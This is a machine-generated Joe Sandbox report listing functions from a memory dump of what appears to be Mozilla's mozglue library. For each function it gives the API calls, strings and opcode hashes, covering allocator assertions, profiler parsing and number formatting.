Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QUl
API String ID: 3835517998-3620445458
Opcode ID: 47579975089365ffab45b5baa4524ba6a82c0b784a54afa6059671a0d96b28ac
Instruction ID: 84df435461d5606f6fe2aad94083dc02fbd806f209ffb1a1877bf1d5a295a565
Opcode Fuzzy Hash: 47579975089365ffab45b5baa4524ba6a82c0b784a54afa6059671a0d96b28ac
Instruction Fuzzy Hash: 6C21D671A003089BDB106F25DC48A9E7BB9FF45214F018428E81AD7240CF74B958CFDA

Function 6C575E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2
memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C5761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C577652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C57730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C577BCD, 6C577C1F, 6C577C34, 6C5780FD
MOZ_CRASH(), xrefs: 6C577BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5772F8
ew[l, xrefs: 6C575E9C, 6C575F22, 6C5761ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5772E3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew[l
API String ID: 2613674957-4285852763
Opcode ID: c1c04104db0581e37454876bed0eaceafaf55f8c075d06275ae6f6d7e9c8f850
Instruction ID: 0e4e783046f9d48cc9d352278b0532264c08292f14637514df876c29ce621d69
Opcode Fuzzy Hash: c1c04104db0581e37454876bed0eaceafaf55f8c075d06275ae6f6d7e9c8f850
Instruction Fuzzy Hash: 18339C716067018FC325CF28C990615BBE2FF85328F29C7ADE9698B7A5D731E881CB51

Function 6C5A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

]l, xrefs: 6C5A4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5A4D0A
-%llu, xrefs: 6C5A4825
schema, xrefs: 6C5A48C1
ProfileBuffer parse error: %s, xrefs: 6C5A4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5A4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5A4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5A4DB8, 6C5A4DD8
data, xrefs: 6C5A49B4

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free
String ID: ]l$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-817700598
Opcode ID: efe452394aa8dda5c36b13f362cb65b9e80d3b487795f7ae40b65e922ef71dfa
Instruction ID: b25eee62d332b6f117bc3c3466c167c34d3b578357dd66c12649137b24342121
Opcode Fuzzy Hash: efe452394aa8dda5c36b13f362cb65b9e80d3b487795f7ae40b65e922ef71dfa
Instruction Fuzzy Hash: 8B723F71918B859BD321CF75C85139BF7E5BFDA344F108B1EE4896B610EB70A886CB42

Function 6C57D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D4F2
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D50B

Part of subcall function 6C55CFE0: EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C55CFF6
Part of subcall function 6C55CFE0: LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C55D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D52E
EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C57D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57D6A6
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C57D712
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57D7EA

Strings

<jemalloc>, xrefs: 6C57D827
: (malloc) Error initializing arena, xrefs: 6C57D82C

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 5206572e57fd3112ff08e052fa27124e571b581cd95a1aaa0d060bd374cfee86
Instruction ID: cb9769d4a0c1480d89c859ad72bdd241570d4c001de385473e69a22fa5e04c69
Opcode Fuzzy Hash: 5206572e57fd3112ff08e052fa27124e571b581cd95a1aaa0d060bd374cfee86
Instruction Fuzzy Hash: 7C91D371A047418FD764CF28CC9072AB7E1EB89314F15492EE59AC7B81D774F884CBA6

Function 6C5B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C5B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B4F2E
moz_xmalloc.MOZGLUE ref: 6C5B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C5B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B52E6
Sleep.KERNEL32(00000010), ref: 6C5B5481
free.MOZGLUE(?), ref: 6C5B5498

Strings

(, xrefs: 6C5B5250

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 958d6b53764466e73655357190ac9570a182bbb5c08bb985347e7aad1ee2866a
Instruction ID: 49f93eddf64121c01f65abf280135e8eb3df400e472eee290085fc0337ff41a6
Opcode Fuzzy Hash: 958d6b53764466e73655357190ac9570a182bbb5c08bb985347e7aad1ee2866a
Instruction Fuzzy Hash: 73F1C071A19B008FC716CF39CC5062BB7F5AFD6384F468B2EF846A7651DB3198428B85

Function 6C5B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C5B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C5B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B707E

Part of subcall function 6C5681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B709C
LocalFree.KERNEL32(?), ref: 6C5B70AA

Strings

(null), xrefs: 6C5B706A, 6C5B7083
### ERROR: %s: %s, xrefs: 6C5B7087

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: cd9f1f36086230a6c421fa986693897221bd05d051a822ef02819186a724537a
Instruction ID: 0a200a069dd440920439042277c77242c64dffa685dfc2f4e01a89a4cccbac6c
Opcode Fuzzy Hash: cd9f1f36086230a6c421fa986693897221bd05d051a822ef02819186a724537a
Instruction Fuzzy Hash: 3201B9B1A00305AFDF00ABA4DC4ADAF7BBDEF49215F020425FA05E7241E67179188BA9

Function 6C579E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C579EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C579F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C579F34
LeaveCriticalSection.KERNEL32(?), ref: 6C57A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C57A8B1, 6C57A8D4, 6C57A8EF

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 0bb4a3f838f3321eb63d872986b8f52baad001808f16225da5a3ba65f3848f96
Instruction ID: 0f8d58fb5d9d317078ed57105cbc90bd6fc90224fd9647c6b80811197999433d
Opcode Fuzzy Hash: 0bb4a3f838f3321eb63d872986b8f52baad001808f16225da5a3ba65f3848f96
Instruction Fuzzy Hash: 21727E72A157118FD724CF28C940615FBE1BF89328F29C76DE8699B791D335E882CB90

Function 6C5A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5A2C61

Part of subcall function 6C554DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C554E5A
Part of subcall function 6C554DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C554E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5A2E2D

Part of subcall function 6C5681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5681DE

Strings

(root), xrefs: 6C5A354F
ProfileBuffer parse error: %s, xrefs: 6C5A2E3B
expected a Time entry, xrefs: 6C5A2E36

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 91b6fc1676aab26f0ec3590c94e5870320a4aa57bbe35dfb6a43a4dd21d452f5
Instruction ID: e233a67b6bea2d8940215f6dc864af220d45e92646f8bf2b664aaeb97e985d80
Opcode Fuzzy Hash: 91b6fc1676aab26f0ec3590c94e5870320a4aa57bbe35dfb6a43a4dd21d452f5
Instruction Fuzzy Hash: F991DF706087408FC724CF6ACC9169EF7E1AFC9358F104A1DE9998B751EB30E94ACB56

Function 6C5B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C5B9F3D
__aulldiv.LIBCMT ref: 6C5B9F77
__aullrem.LIBCMT ref: 6C5B9F8C
__aulldiv.LIBCMT ref: 6C5BA023

Strings

NaN, xrefs: 6C5B9EAB
-Infinity, xrefs: 6C5B9E60, 6C5B9E7B

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b9f6cdecf4c26769ccce601221a35c4e1a6141d5cca21890df303fd68a378501
Instruction ID: bf3dc15bc01a1e9030ea8c451fb1c586fb2fb1f9cb42fd5fdf7337d328820c38
Opcode Fuzzy Hash: b9f6cdecf4c26769ccce601221a35c4e1a6141d5cca21890df303fd68a378501
Instruction Fuzzy Hash: FBC18D71E00319CBDB14CFA9CCA079EBBB6AB84714F544529D409BBB80DB71AD49CB91

Function 6C55D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C55D7DD
, xrefs: 6C55DA88
@, xrefs: 6C55DAF6
8, xrefs: 6C55DC08
0, xrefs: 6C55D852
9, xrefs: 6C55DE7F
0, xrefs: 6C55DC7F
1, xrefs: 6C55DBDD

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 29ad23c4bf6efedcf7f7eb3bc133c299b1e9ea1f9bbc15e1af9200cb53099b29
Instruction ID: d211353d623f7094f3ac192393a2a2b57203e4db503b051bbe4a62ebdca73c5a
Opcode Fuzzy Hash: 29ad23c4bf6efedcf7f7eb3bc133c299b1e9ea1f9bbc15e1af9200cb53099b29
Instruction Fuzzy Hash: 0162CF7260C3458FD701CF18CA9075EBBF2AF86358F984A0FE4D54BA91D33599A5CB82

Function 6C5C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5C8A4B

Strings

~qUl, xrefs: 6C5C921F, 6C5C9459, 6C5C56C7, 6C5C9269, 6C5C5740, 6C5C5703, 6C5C948F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset
String ID: ~qUl
API String ID: 2221118986-2086637238
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: bb2053a598ce2755d7065fac132b13b21ed2d72e8661b11a0f398f749be7112b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9EB1C572B0021ACFDB14CEA8CC90799B7B2EF95314F1802ADC549DB791E734A985CB91

Function 6C5C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5C925C

Strings

~qUl, xrefs: 6C5C921F, 6C5C9459, 6C5C56C7, 6C5C9269, 6C5C5740, 6C5C5703, 6C5C948F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset
String ID: ~qUl
API String ID: 2221118986-2086637238
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: d8db0be083407844f87e04cf33004df4ecbc1cb7121bad1f90e58b4373dc04d3
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 41B1C572F0121ACBCB14CE98CC816EDB7B2EF95314F18026DC549EB785E734A999CB91

Function 6C5BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5BC0E9), ref: 6C5BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C5BC437
FreeLibrary.KERNEL32(?,6C5BC0E9), ref: 6C5BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C5BC431
ntdll.dll, xrefs: 6C5BC413

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 06bf4cb0465021f0c6e9eba2d22a1d2479b9e9bb616893cfacca1d95d9e067b3
Instruction ID: 72f09a7324435d07c9be2ad78f5ac6d559dd02841705dc60d708f6ea89d13d67
Opcode Fuzzy Hash: 06bf4cb0465021f0c6e9eba2d22a1d2479b9e9bb616893cfacca1d95d9e067b3
Instruction Fuzzy Hash: CDE0B670601302ABDF007F75CD187127FF9E706606F06471AAA04A2610EBB0F140CB5E

Function 6C569F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C56A3D8
0, xrefs: 6C56AB22
9, xrefs: 6C56A5D6
1, xrefs: 6C56A824
@, xrefs: 6C56A625
0, xrefs: 6C56A100

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e8e2915cda7aa452440b7f1e22a4890adab01aa0243bc985904be6f839ed7993
Instruction ID: 15231fee2e70b0feed07b3800cd86ea3b943fca42d24bf109df07bb7db7a3c0c
Opcode Fuzzy Hash: e8e2915cda7aa452440b7f1e22a4890adab01aa0243bc985904be6f839ed7993
Instruction Fuzzy Hash: 1882C1319093718BD711CF1BCC9026EB7F1EB85758F658A2AE8D547EB0D734A885CB82

Function 6C55BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C55C1CB
__aulldiv.LIBCMT ref: 6C55C24C
__aulldiv.LIBCMT ref: 6C55C348
__aullrem.LIBCMT ref: 6C55C365
__aulldiv.LIBCMT ref: 6C55C37D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: c186bfe40ad49585ab0147107d955e75262d41f75503de8a4374026f68e32a6e
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 5D322632B046158FC718DE2CC89065ABBE6AFC9310F49866EE895CB3A5D730ED05CB91

Function 6C5A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A7A93

Part of subcall function 6C575C50: GetTickCount64.KERNEL32 ref: 6C575D40
Part of subcall function 6C575C50: EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A7AA1

Part of subcall function 6C575C50: __aulldiv.LIBCMT ref: 6C575DB4
Part of subcall function 6C575C50: LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C575DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5A7B31

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
